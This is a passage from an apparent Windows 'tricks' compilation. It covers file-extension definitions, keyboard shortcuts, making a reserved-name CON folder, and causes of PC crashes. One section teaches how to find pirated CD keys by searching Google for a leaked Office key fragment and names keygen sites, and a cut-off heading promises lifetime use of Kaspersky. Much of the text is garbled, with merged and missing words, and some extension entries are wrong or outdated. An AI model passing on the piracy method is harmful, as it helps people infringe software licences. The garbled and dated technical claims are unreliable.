.JWL Justwrite text file library

.JZZ Jazz spreadsheet

2010

K

.KAR Karaoke File used with some audio players.

L

.LGC Program Use Log File (for Windows Program Use Optimization).

.LGO Contains the code for displaying the screen logo.

.LOG Contains the process of certain steps, such as when running it will usually keep a scandisk.log of whatoccurred.

.LNK HTML link file used with Microsoft Internet Explorer.

.LWP Lotus Wordpro 96/97 file.

M

.MAC Macintosh macpaint files.

.MBX Microsoft Outlook Express mailbox file.

.MD Compressed Archive file

.MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.

.MDB Microsoft Access Database / Microsoft Access Application.

.MDE Microsoft Access Database File

.MDF Menu definition file

.MDL Digitrakker Music Module / Rational Rose / Quake model file

.MDM Telix Modem Definition

.MDN Microsoft Access Blank Database Template

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.MDP Microsoft Developer Studio Project

.MDT Microsoft Access Add-in Data

.MDW Microsoft Access Workgroup Information

.MDX dBase IV Multiple Index

.MDZ Microsoft Access Wizard Template

.MEB WordPerfect Macro Editor bottom overflow file

.MED WordPerfect Macro Editor delete save / OctaMed tracker module

.MEM WordPerfect Macro Editor macro / Memory File of variables

.MID Midi orchestra files that are used to play with midi sounds built within the sound card.

2010

.MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command &Conquer Movie/Sound file

.MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps.

.MOV File used with Quick Time to display a move.

.MP1 MPEG audio stream, layer I

.MP2 MPEG audio stream, layer II

.MP3 MPEG audio stream, layer III; High compressed audio files generally used to record audio tracks and store them ina decent sized file available for playback. See our MP3 page for additional information.

.MPG MPEG movie file.

.MSN Microsoft Network document mission file

.MTF Windows metafile.

.MTH Derive Math file

.MTM Sound file / MultiTracker music module

.MTV Picture file

.MTW Minitab data file

.MU Quattro menu

.MUL Ultima Online game

.MUP Music publisher file

.MUS Audio file

.MVB Database file / Microsoft multimedia viewer file

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.MVE Interplay video file

.MVF Movie stop frame file

.MWP Lotus Wordpro 97 smartmaster file

.MXD ArcInfo map file

.MXT Microsoft C Datafile

.MYD Make your point presentation file.

2010

N

.N64 Nintendo 64 Emulator ROM image.

.NA2 Netscape Communicator address book.

.NAB Novell Groupwise address book

.NAP Napster Music security definition file.

.NDF NeoPlanet Browser file

.NDX Indexed file for most databases.

.NES Nintendo Entertainment system ROM image.

.NIL Norton guide online documentation

.NGF Enterasys Networks NetSight file.

.NHF Nero HFS-CD compilation or a Nero file

.NIL Norton icon lybrary file.

.NLB Oracle 7 data file

.NLD ATI Radeon video driver file,

.NMI SwordSearcher file.

.NON LucasArts Star Wars - Tie fighter mouse options file.

.NOW Extension commonly used for readme text files.

.NRA Nero Audio CD file.

.NRB Nero CD-ROM boot file.

.NS2 Lotus Notes 2 database,

.NS5 Lotus Notes Domino file,

.NSO NetStudio easy web graphics file.

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.NT Windows NT startup file.

2010

.NUM File used with some Software Manufactures to store technical support numbers or other phone numbers, shouldbe readable from DOS and or Windows.

O

.OCA Control Typelib Cache.

.OCX Object Linking and Embedding (OLE) control extension.

.OLB Object library

.OLD Used for backups of important files incase they are improperly updated or deleted.

.OLE Object Linking and Embedding object file

.OLI Olivetti text file

.ORI Original file.

P

.PAB Personal Address Book, file used with Microsoft Outlook.

.PB WinFax Pro phone book file

.PBD PowerBuilder dynamic library / Faxit phone book file

.PBF Turtle Beach Pinnacle bank file

.PBK Microsoft phonebook file

.PBL PowerBuilder library file

.PBM UNIX portable bitmap fuke

.PBR PowerBuilder resource

.PBI Profiler binary input file

.PBM PBM portable bit map graphic

.PBO Profiler binary output

.PBT Profiler binary table

.PCX Microsoft Paint & PC Paintbrush Windows/DOS.

.PDA Bitmap graphic file

.PDB TACT data file

.PDD Adobe PhotoDeluxe Image.

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2010

.PDF Adobe Acrobat Reader file which can only be read by Adobe Acrobat (to get file downloaded Adobe Acrobat fromour Download Page.

.PDL Borland C++ project description language file.

.PDS Graphic file / Pldasm source code file.

.PDV Paintbrush printer driver.

.PDW Professional Draw document.

.PIC Picture / Viewer Frame Class.

.PIF Program Information File that configures a DOS app to run efficiently in windows.

.PJF Paintjet soft font file.

.PL Harvard palette file / PERL program file

.PL3 Harvard chart palette

.PLB Foxpro library / LogoShow Screensaver file

.PLC Lotus Add-in

.PLD PLD2 source file

.PLG REND386 / AVRIL file

.PLI Oracle 7 data description

.PLL Prelinked library

.PLM DisorderTracker2 module

.PLN WordPerfect spreadsheet file

.PLR Descent Pilot file

.PLS WinAmp MPEG playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file

.PLT AutoCAD HPGL vector graphic plotter file / Gerber sign-making software file / Betley's CAD Microstation driverconfiguration for plotting

.PLY Autodesk polygon

.PP Compressed archive file.

.PP4 Picture Publisher.

.PP5 Picture Publisher.

.PPA Power Point Add-in.

.PPB WordPerfect Print preview button bar.

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.PPD PostScript Printer description.

.PPF Turtle Beach Pinnacle program file.

.PPI Microsoft PowerPoint graphic file.

.PPL Harvard (now Serif) Polaroid Palette Plus ColorKey Driver.

.PPM PBM Portable Pixelmap Graphic.

.PPO Clipper Preprocessor Output.

.PPP Serif PagePlus Publication.

.PPS Microsoft PowerPoint Slideshow.

.PPT Microsoft PowerPoint presentation.

.PPX Serif PagePlus publication.

.PPZ Microsoft PowerPoint Packaged Presentation.

.PS2 File to support the Micro Channel Architecture in 386 Enhanced mode.

.PSD Adobe Photoshop image file.

.PST Post Office Box file used with Microsoft Outlook usually unless named otherwise.

.PWA Password agent file.

.PWD Password file.

.PWF ProCite Workforms

.PWL Password file used in Windows Windows 98 is stored in the Windows directory.

.PWP Photoworks image file

.PWZ PowerPoint wizard

2010

Q

.QIC Windows backup file

.QT Quick Time Movie File

.QXD Quark Express file

.QXL Quark Xpress element library

.QXT Quark Xpress template file

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R

.RA Real Audio file.

.RAM Real Audio file.

.RAR Compressed file similar to .ZIP uses different compression program to extract. See our recommended downloadpage for a program that can be used to extract .RAR files.

.RAS File extension used for raster graphic files.

.RD1 Descent registered level file

.RD3 Ray Dream designer graphics file / CorelDraw 3D file

.RD4 Ray Dream designer graphics file

.RD5 Ray Dream designer graphics file

.RDB TrueVector rules database

.RDF Resource description framework file / Chromeleon report definition

.RDL Descent registered level file / RadioDestiny radio stream

.RDX Reflex data file

.REC Sound file used with Windows Sound Recorder.

.RLE Microsoft Windows Run Length Encoded (Run Length Encoded (bitmap format) file that contains the actual screenlogo).

.RMI Microsoft RMID sound file.

.RPB Automotive diagnostic file.

.RPD Rapidfile database

.RPM Red Hat Package Manager / RealMedia Player file.

.RPT Various Report file

.RTF Rich Text Format file

.RWZ Microsoft Outlook rules wizard file

S

.SAV File that usually contains saved information such as a saved game.

.SC2 Maps used in Sim City 2000.

.SCP Dialup Networking script file.

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.SCR Source files for the .INI files, or sometimes may be used as screen savers.

.SD Sound Designer I audio file

.SD2 Sound Designer II flattened file / Sound Designer II data fork file / SAS database file

.SDA StarOffice drawing file / SoftCuisine data archive

.SDC StarOffice spreadsheet

.SDD StarOffice presentation

2010

.SDF Standard data format file / Schedule data file / System file format / Autodesk mapguide spatial data file

.SDK Roland S-series floppy disk image

.SDL SmartDraw library

.SDN Small archive

.SDR SmartDraw drawing

.SDS StarOffice chart file / Raw MIDI sample dump standard file

.SDT SmartDraw template

.SDV Semicolon divided value file

.SDW Sun Microsystems StarOffice file document file similar Microsoft Office .DOC file.

.SDX MIDI sample dump standard files compacted by SDX

.SEA Short for Self Extracting Archive. Compressed file used with the Macintosh.

.SH Archive file

.SH3 Harvard (now Serif) presentation file

.SHB Corel Background file

.SHG Hotspot Editor Hypergraphic

.SHK Macintosh Compressed Archive file

.SHM WordPerfect Shell Macro

.SHP 3D Studio Shapes File / other 3D related file

.SHR Archive file

.SHS Shell scrap object file

.SHW Corel presentation / WordPerfect Slide Show / Show File

.SLK Multiplan file.

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2010

.SND Sound Clip file / Raw unsigned PCM data / AKAI MPC-series sample / NeXT sound / Macintosh sound resource file

.SNG MIDI song

.SNM Netscape Mail

.SNO SNOBOL program file

.SNP Snapview snapshot file

.SUM Summary file.

.SWF Macromedia Flash file.

.SWP Extension used for the Windows Swap File usually Win386.Swp. This file is required by Windows and generallycan grow very large in size sometimes up to several hundred megs. This file is used to swap information betweencurrently running programs and or memory. If this file is deleted from the computer Windows will be unable to loadand will need to be reinstalled.

.SYS System and peripheral drivers.

T

.TDF Trace Definition File used with OS/2

.TGA Targa file

.TIF Tag Image Format that includes most 24-bit color.

.TLB Remote automation truelib files / OLE type library / Visual C++ type library

.TLD Tellix file

.TLE NASA two-line element set

.TLP Microsoft project timeline fie

.TLT Trellix web design file

.TLX Trellix data file

.TMP Temporary files.

.TRM Windows Terminal.

.TXT Text file that can be read from windows of from DOS by using the Edit, Type, or Edlin.

U

.UNI MikMod (UniMod) format file / Forcast Pro data file

.UNK Unknown file type, sometimes used when a file is received that cannot be identified

.UNX Text file generally associated with UNIX.

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.URL File used with some browsers such as Internet Explorer linking you to different web pages. Internet Shortcut.

V

.VB VBScript file

.VBA vBase file

.VBD ActiveX file

.VBE VBScript encoded script file

.VBG Visual Basic group project file

.VBK VisualCADD backup file

.VBL User license control file

.VBP Visual Basic project file

.VBR Remote automation registration files

.VBS Microsoft Visual Basic Script file for quick programs and in some be used as a virus file.

.VBW Visual Basic project workplace

.VBX Visual Basic extension file

.VBZ Wizard launch file

.VC VisiCalc Spreadsheet file.

.VCD VisualCADD Drawing file.

.VCE Natural MicroSystems voice file.

.VCF vCard File / Vevi Configuration file.

.VCS Microsoft Outlook vCalander file.

.VCT FoxPro class library.

.VCW Microsoft Visual C++ workbench information file.

.VCX FoxPro class library.

.VDA Targa bitmap

.VDD Short for Virtual Device Driver. Additional information can be found here.

.VDO VDOScript file

.VDX No such file extension - Likely you meant to .vxd

.VM Virtual Machine / Virtual Memory file.

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.VMM Virtual Machine (Memory Manager) file.

.VMF Ventura font characteristics file / FaxWorks audio file

.VMH

.VS2 Roland-Bass transfer file.

.VSD Visio drawing.

.VSL GetRight download list file.

.VSS Visio stencil.

.VST Video Template / Truevision Vista graphic / Targa Bitmap/

.VSW Visio workspace file.

2010

.VXD Windows system driver file allowing a driver direct access to the Windows Kernel, allowing for low level access tohardware.

W

.WAB Microsoft Outlook Express personal address book.

.WAD File first found in IdSoftware games such as DOOM, Quake, as most new games similar to these.

.WAV Sound files in Windows open and played with sound recorder.

.WB1 Quattro Pro Notebook

.WB2 Quattro Pro Spreadsheet

.WBF Microsoft Windows Batch File

.WBK Wordperfect document / workbook

.WBT Winbatch batch file

.WCD Wordperfect macro token list

.WCM Microsoft Works data transmission file / Wordperfect Macro

.WCP Wordperfect product information description

.WDB Microsoft Works database

.WEB Web source code file

.WFM dBASE Form object

.WFN CorelDRAW font

.WFX Winfax data file

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.WG1 Lotus 1-2-3 worksheet

.WG2 Lotus 1-2-3 for OS/2 worksheet

.WID Ventura publisher width table

.WIN Foxpro - dBASE window file

.WIZ Microsoft Publisher page wizard

.WK1 Lotus 1-2-3 all versions / LotusWorks spreadsheet.

.WK3 Lotus 1-2-3 for Windows /Lotus 1-2-3 Rel.3.

.WKS Lotus 1-2-3 Rel lA,2.0,2.01, also file used with Microsoft Works.

.WLG Dr. Watson log file.

.WMA Windows Media Audio file.

.WMF Windows Metafile. Also see WMF dictionary definition.

.WMZ Windows Media Player theme package file.

.WPD WordPerfect Windows/DOS.

.WPG WordPerfect Graphical files Windows/DOS.

.WPM WordPerfect Macro file.

.WPS MS Works word processor Windows/DOS.

.WRI Windows Write.

.WRK Lotus 1-2 31.0,1.01,1.1/ Symphony 1,1.01.

.WRI Symphony l.1,1.2,2 / Microsoft Write file.

2010

X

.XIF Wang image file / Xerox image file

.XLB Microsoft Excel File.

.XLS Microsoft Excel File.

.XM Sound file / Fast tracker 2 extended module

.XML Extensible markup language file.

.XNK Exchange shortcut

.XOT Xnetech job output file

.XPM X picsmap graphic

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.XQT SuperCalc macro sheet

.XRF Cross Reference

.XR1 Epic MegaGames Xargon File

.XSL XML Style sheet

.XSM LEXIS-NEXIS tracker

.XTB LocoScript external translation table

.XWD X Windows dump file

.XWF Yamaha XG Works file

.XXE Xxencoded file

.XY XYWrite text file

.XY3 XYWrite text file

.XY4 XYwrite IV document

.XYP XYwrite III plus document

.XYW XYwrite Windows 4.0 document

2010

Y

.Y Amiga YABBA compressed file archive

.Y01 Paradox index file

.Y02 Paradox index file

.Y03 Paradox index file

.Y04 Paradox index file

.Y05 Paradox index file

.Y06 Paradox index file

.Y07 Paradox index file

.Y08 Paradox index file

.Y09 Paradox index file

.YUV Yuv graphics file

.YZ YAC compressed file archive.

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Z

.Z Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used. UNIX /Linux users use the compress / uncompress command to extract these files.

.ZIP Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used.

“ The List of file extension in the list may differ as the company may have updated the extensionso don’t consider this list as final list but this will give you sufficient knowledge”.

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32. Nice List of Windows Shortcuts

For Real Windows Newbie's here you go...

CTRL+C (Copy)

CTRL+X (Cut)

CTRL+V (Paste)

CTRL+Z (Undo)

DELETE (Delete)

SHIFT+DELETE (Delete the selected item permanently without item in the Recycle Bin)

CTRL while dragging an item (Copy the selected item)

CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)

F2 key (Rename the selected item)

CTRL+RIGHT ARROW (Move the insertion to the beginning of the next word)

CTRL+LEFT ARROW (Move the insertion the beginning of the previous word)

CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)

CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)

CTRL+SHIFT with any of the arrow keys (Highlight a block of text)

SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop or select text in a document)

CTRL+A (Select all)

F3 key (Search for a file or a folder)

ALT+ENTER (View the properties for the selected item)

ALT+F4 (Close the active item, or quit the active program)

ALT+ENTER (Display the properties of the selected object)

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ALT+SPACEBAR (Open the shortcut menu for the active window)

2010

CTRL+F4 (Close the active document in programs that enable you to have multiple documents open Simultaneously)

ALT+TAB (Switch between the open items)

ALT+ESC (Cycle through items in the order that they had been opened)

F6 key (Cycle through the screen elements in a window or on the desktop)

F4 key (Display the Address bar list in My Computer or Windows Explorer)

SHIFT+F10 (Display the shortcut menu for the selected item)

ALT+SPACEBAR (Display the System menu for the active window)

CTRL+ESC (Display the Start menu)

ALT+Underlined letter in a menu name (Display the corresponding menu)

Underlined letter in a command name on an open menu (Perform the corresponding command)

F10 key (Activate the menu bar in the active program)

RIGHT ARROW (Open the next menu to the right, or open a submenu)

LEFT ARROW (Open the next menu to the left, or close a submenu)

F5 key (Update the active window)

BACKSPACE (View the folder one level up in My Computer or Windows Explorer)

ESC (Cancel the current task)

SHIFT when you insert a CD-ROM into CD-ROM drive (Prevent the CD-ROM from automatically playing)

Dialog Box Keyboard Short-cuts

CTRL+TAB (Move forward through the tabs)

CTRL+SHIFT+TAB (Move backward through the tabs)

TAB (Move forward through the options)

SHIFT+TAB (Move backward through the options)

ALT+Underlined letter (Perform the corresponding command or select the corresponding option)

ENTER (Perform the command for the active option or button)

SPACE BAR (Select or clear the check box if the active option is a check box)

Arrow keys (Select a button if the active option is a group of option buttons)

F1 key (Display Help)

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F4 key (Display the items in the active list)

BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)

2010

Microsoft Natural Keyboard Shortcuts

Windows Logo (Display or hide the Start menu)

Windows Logo+BREAK (Display the System Properties dialog box)

Windows Logo+D (Display the desktop)

Windows Logo+M (Minimize all of the windows)

Windows Logo+SHIFT+M (Restore the minimized windows)

Windows Logo+E (Open My Computer)

Windows Logo+F (Search for a file or a folder)

CTRL+Windows Logo+F (Search for computers)

Windows Logo+F1 (Display Windows Help)

Windows Logo+ L (Lock the keyboard)

Windows Logo+R (Open the Run dialog box)

Windows Logo+U (Open Utility Manager)

Accessibility Keyboard Shortcuts

Right SHIFT for eight seconds (Switch either on or off)

Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)

Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)

SHIFT five times (Switch the StickyKeys either on or off)

NUM LOCK for five seconds (Switch the ToggleKeys either on or off)

Windows Logo +U (Open Utility Manager)

Windows Explorer Keyboard Shortcuts

END (Display the bottom of the active window)

HOME (Display the top of the active window)

NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)

NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

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NUM LOCK+Minus sign (-) (Collapse the selected folder)

LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)

RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)

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Short-cut Keys for Character Map

After you double-click a character on the grid of characters, you can move through the grid by using the Keyboard short-cuts:

RIGHT ARROW (Move to the right or to the beginning of the next line)

LEFT ARROW (Move to the left or to the end of the previous line)

UP ARROW (Move up one row)

DOWN ARROW (Move down one row)

PAGE UP (Move up one screen at a time)

PAGE DOWN (Move down one screen at a time)

HOME (Move to the beginning of the line)

END (Move to the end of the line)

CTRL+HOME (Move to the first character)

CTRL+END (Move to the last character)

SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)

Microsoft Management Console Main Window Keyboard Shortcuts

CTRL+O (Open a saved console)

CTRL+N (Open a new console)

CTRL+S (Save the open console)

CTRL+M (Add or remove a console item)

CTRL+W (Open a new window)

F5 key (Update the content of all console windows)

ALT+SPACEBAR (Display the MMC window menu)

ALT+F4 (Close the console)

ALT+A (Display the Action menu)

ALT+V (Display the View menu)

ALT+F (Display the File menu)

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ALT+O (Display the Favorites menu)

MMC Console Window Keyboard Shortcuts

CTRL+P (Print the current page or active pane)

ALT+Minus sign (-) (Display the window menu for the active console window)

SHIFT+F10 (Display the Action shortcut menu for the selected item)

F1 key (Open the Help topic, if any, for the selected item)

F5 key (Update the content of all console windows)

CTRL+F10 (Maximize the active console window)

CTRL+F5 (Restore the active console window)

ALT+ENTER (Display the Properties dialog box, if any, for the selected item)

F2 key (Rename the selected item)

CTRL+F4 (Close the active console window. When a console has only one window, this shortcut closes theconsole)

Remote Desktop Connection Navigation

CTRL+ALT+END (Open the Microsoft Windows NT Security dialog

ALT+PAGE UP (Switch between programs from left to right)

ALT+PAGE DOWN (Switch between programs from right to left)

ALT+INSERT (Cycle through the programs most recently used order)

ALT+HOME (Display the Start menu)

CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)

ALT+DELETE (Display the Windows menu)

CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and providethe same functionality as pressing PRINT SCREEN on a local computer.)

CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and providethe same functionality as pressing ALT+PRINT SCREEN on a local computer.)

Microsoft Internet Explorer Navigation

CTRL+B (Open the Organize Favorites dialog box)

CTRL+E (Open the Search bar)

CTRL+F (Start the Find utility)

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CTRL+H (Open the History bar)

CTRL+I (Open the Favorites bar)

CTRL+L (Open the Open dialog box)

CTRL+N (Start another instance of the browser with the same Web address)

CTRL+O (Open the Open dialog box, the same as CTRL+L)

CTRL+P (Open the Print dialog box)

CTRL+R (Update the current Web page)

CTRL+W (Close the current window)

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33. How to find serial numbers on Google

This is a little trick that I usually use to find CD keys with Google.

HOW DOES THIS

Quite simple really.94FBRis part of an Office 2000 Pro CD key that is widely distributed as it bypasses the activationrequirements of Office 2K Pro. By searching for the product name and94fbr, you guarantee two things.

1) The pages that are returned are pages specifically with the product you're wanting a serial for.

2) Because94FBRis part of a serial number, only part of a serial number, you guarantee that any page being returnedis a serial number list page.

Step 1:- If you’re looking for a serial number for Nero (for example) go to google.com and type Nero 94FBR and it'llbring it up.

This works great in Google.

“ You can also use some serial number providing sites like www.smartserials.com , www.keygenguru.com etc. for searching the serial number on any software”.

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34. How to create a CON folder in Windows

Can you create a folder named "CON ” in windows?

The Answer is NO and YES!

Why the answer is NO.

NO because when create a new folder and try to rename it to above specified names, you know whathappens! In Windows XP the folder name automatically changes "New Folder” no matter you try any number oftimes. Where as in Windows Vista/7 when you try to rename get an error message "The specified devicename is invalid”.

Why it is not possible to create a folder names CON?

Before we proceed further, let me tell you a small secret you can’t even create a folder named

CON, PRN, AUX, NUL, COM1, COM2, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5,LPT6, LPT7, LPT8, and LPT9.and many

YES the reason you can’t create a folder with these names is because these are reserved keywords used by DOS. Thebelow list is taken from Microsoft’s website shows a list of reserved keywords in DOS.

NAME CONPRNAUXCLOCK$NULA: - Z:COM1LPT1LPT2LPT3

COM2COM3

COM4

FUNCTION Key board and display.System list device, usually a parallel port.Auxiliary Device, usually a serial port.System real-time clock.Bit-bucket device.Drive letters.First serial communication port.First parallel printer port.Second Parallel printer port.Third Parallel printer port.

Second serial communication port.Third serial communication port.

Fourth serial communication port.

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If you try creating a folder with any of these names, the name automatically changes back to the default "New Folder”.And this is what has caused the confusion. Instead of automatically renaming the folder, had an explanatory warningmessage popped up.

Yes we can create a folder named CON.

There is actually a way to create a folder named CON, or any other name from the above list of reserved keywords. Thiscan be done through command prompt. But it is advisable not to do so, as it might result in your system becomingunstable.

To create a folder named CON, go to command prompt and type " MD \\.\E:\CON ” (without quotes). This will create afolder named CON in E:. See the screen-shot below.

You cannot delete type

" RD \\.\E:\CON ”

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I’ll again recommend you not to try this on your system, as it might become unstable. In caseyou can’t stop yourself, don’t do it on a drive on which Windows is installed (generally C:).

So next time if any one tells you that we cannot rename a folder to con the create it and showthem.

Read more: http://www.hackingtech.co.tv/index/how_to_create_a_con_folder_in_windows/0-80#ixzz14sMiDwmJ

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35. 10 Reasons why PC’s crash you must know

Fatal error: The system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Deleteto restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Microsoft Windows will be familiar with this.What can you do? More importantly, how can you prevent it happening?

1. Hardware conflict -

The number one reason why Windows crashes is hardware conflict. hardware device communicates to other devicesthrough an interrupt request channel (IRQ). These are supposed unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they installed properly, two of them may end up sharing the same IRQ number.When the user tries to use both devices same time, a crash can happen. The way to check if your computer has ahardware conflict is through the following

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (inthe Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appearstwice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored.The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A goodresource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to adifferent slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface todischarge any static electricity.

To be fair to Microsoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PCdesigns using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run outof them. There are plans to increase the number of IRQs in future designs.

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2. Bad RAM -

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RAM-(random-access memory) problems might bring on the blue screen of death with a message saying Fatal ExceptionError. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will needreplacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ramwith 60ns Ram will usually force the computer to run the entire Ram at the slower speed. This will often crash themachine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it morestable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or takesome of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch thegold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best notto mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to freememory problems often linked to old Dos-based programs.

3. BIOS settings -

Every motherboard is supplied with a range of chipset settings that are the factory. A common way to accessthese settings is to press the F2 or delete button during the first few seconds boot-up.

Once inside the BIOS, great care should be taken. It is a good idea down on a piece of paper all the settings thatappear on the screen. That way, if you change something and becomes more unstable, you will know whatsettings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CASlatency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze thecomputer's display.

Microsoft Windows is better at allocating numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS.This will allow Windows to allocate the numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes'to allow Windows to do this.).

4. Hard disk drives -

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea todefragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting,so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimization.This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

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Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months andfree some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting thecontents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or badsectors. Go to

* Start-Programs-Accessories-System Tools-Scandisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5. Fatal OE exceptions and VXD errors -

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. Formost desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to video card. Make sure it does not have ahardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing video card should appear. Select it (make it blue)and press properties. Then select Resources and select each line window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything youdo in case you make things worse.

The way to resolve a hardware conflict uncheck the Use Automatic Settings box and hit the Change Settings button.You are searching for a setting that will No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relatingto graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with adevice).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6. Viruses -

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making itimpossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

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A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in aDAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus program is McAfee Virus Scan by Network Associates (www.nai.com). Another is Norton Antivirus2000, made by Symantec (www.symantec.com).

7. Printers -

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document alsouses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimesprinters will not recover from a crash because of confusion in the buffer. A good way to clear the to unplug theprinter for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the defaultsettings and you may be able to carry on.

8. Softwares -

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstallingthe software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your systemproperly. This will also remove references to the programme in the System Registry and leaves the way clear for acompletely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use RegCleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows98, Windows 98 SE (Second Edition), Windows Millennium Edition NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damagedyou will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see themessage "Starting Windows" press F4. should take you into Safe Mode.

Safe Mode loads a minimum of drivers. you to find and fix problems that prevent Windows from loadingproperly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages(Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try todisable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9. Overheating -

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old itmay start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips thathave been over clocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heat sinks are availablefrom www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run moreslowly, but it should also be more stable.

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10. Power supply problems -

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With all the new construction going on around the country the steady supply of electricity has become disrupted. A powersurge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a cleanpower supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of apower cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

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36. How to use Kaspersky for lifetime

